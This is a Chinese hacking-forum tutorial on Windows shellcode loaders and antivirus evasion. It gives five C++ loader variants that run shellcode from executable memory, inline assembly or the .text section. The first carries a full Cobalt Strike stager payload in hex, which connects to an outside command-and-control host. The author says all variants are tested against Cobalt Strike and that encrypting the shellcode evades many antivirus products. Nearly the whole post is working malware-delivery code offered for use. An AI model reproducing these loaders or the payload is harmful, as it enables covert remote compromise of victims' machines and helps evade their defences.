(一)shellcode 加载器及免杀基础-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

(一)shellcode 加载器及免杀基础

[复制链接]
发表于 2023-5-11 10:47:50 | 显示全部楼层 |阅读模式
0x00 函数指针shellcode加载器(成功上线,必火亲测)
无非就是三个步骤
  • 申请内存
  • 写入内存
  • 执行

最简单的shellcode加载器,把shelllcode加密一下其实就可以过很多杀软了

[C++] 纯文本查看 复制代码
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xe8\x03\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x36\x63\x79\x4a\x00\xe8\xda\xeb\x3f\x0f\xdf\x73\x5f\xea\x31\x7e\x4c\xa8\x57\x42\xf7\xf6\x5e\x04\x00\xba\xc5\xb9\x82\xf3\x8b\xee\x7a\x03\x0e\xee\x37\x88\xfc\xc5\xd3\x33\xc5\xf6\x67\xbe\x9d\xb4\x69\xeb\xfa\x63\x25\x09\x6f\x30\xb9\xed\xe9\x7f\x21\xcc\xdd\x7b\x43\xc5\xaa\xc1\x17\xe5\x66\x07\xa9\x75\xd0\x52\x12\xcf\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x53\x4c\x43\x43\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\xce\x87\xf5\x42\xa9\x51\x45\xc3\xfe\x27\x9b\x4e\x9d\x07\x1d\x72\xb7\x87\x99\x62\xf8\xc8\x47\xe5\x0c\x52\x72\x94\x89\xcd\x0a\xe2\x8a\x1d\x44\x44\x29\xe1\x66\xfc\x5c\x1a\xe1\x4e\xc9\xb1\x68\xee\x49\x01\x50\x48\xad\x26\xd4\x37\xd1\xe2\x07\xe6\x47\xc0\x2b\x44\xb1\x98\x29\x91\xf5\x8c\x13\xd4\xde\xb8\x4b\xb9\x98\xb9\xc1\x42\x32\xde\xc0\x28\xb3\x55\xe1\xf2\xa7\xc3\xf2\x1a\x27\x21\x3f\xde\x67\xd5\x5f\x50\x3b\x3d\xb4\xdf\x71\xb5\x57\x0d\x39\xd2\xeb\xbc\x89\x87\xe0\x5e\x5a\x07\x77\xd1\xe9\x17\xd8\xa9\x6b\x68\xa4\x41\xc2\xe0\x9a\x54\x46\x7a\x30\x00\xbb\x77\xe6\x51\x90\x61\x9d\x61\x14\x28\x36\xc6\xb5\x15\x8c\xc9\xb4\xaf\xea\x91\x57\x1b\x31\xad\x8e\x13\xf2\x2d\xf6\x55\xa1\x2a\xc0\x75\x2a\x87\xef\x42\x06\x26\xad\x14\xf3\xcc\xe7\x0d\xb6\xd1\xb1\x26\xc7\x6a\x38\x95\xf6\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x63\x73\x2e\x68\x61\x63\x6b\x65\x72\x2e\x77\x61\x6e\x67\x00\x3a\xde\x68\xb1";
void main()
{
        void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(exec, shellcode, sizeof shellcode);
        ((void(*)())exec)();

}

在VS2019里,新建 控制台程序,粘贴上面代码,CS成功上线,上方的payload为cobalstrike的payload

fakename.png

0x01:创建新线程,也可以成功上线(必火亲测)
[C++] 纯文本查看 复制代码
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = "";
void main()
{
        void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(exec, shellcode, sizeof shellcode);
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, 0);
        while(true){
        }
}


0x02:内联汇编,成功上线,(必火亲测)注意加入 #pragma comment(linker, "/section:.data,RWE")
[C++] 纯文本查看 复制代码
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "";
void main()
{
        __asm {
                mov eax ,offset shellcode
            jmp eax
        }
}


0x03:伪指令,成功上线(必火亲测)
[C++] 纯文本查看 复制代码
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "";
void main()
{
        __asm {
                mov eax ,offset shellcode
            _emit 0xFF
                _emit 0xE0
        }
}


0x04:.text段 成功上线(必火亲测):
[C++] 纯文本查看 复制代码
#include <windows.h>
#include <stdio.h>
#pragma section( ".text")
_declspec(allocate(".text")) char goodcode[] = "";
void main()
{
        (*(void(*)())(&goodcode))();

}



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表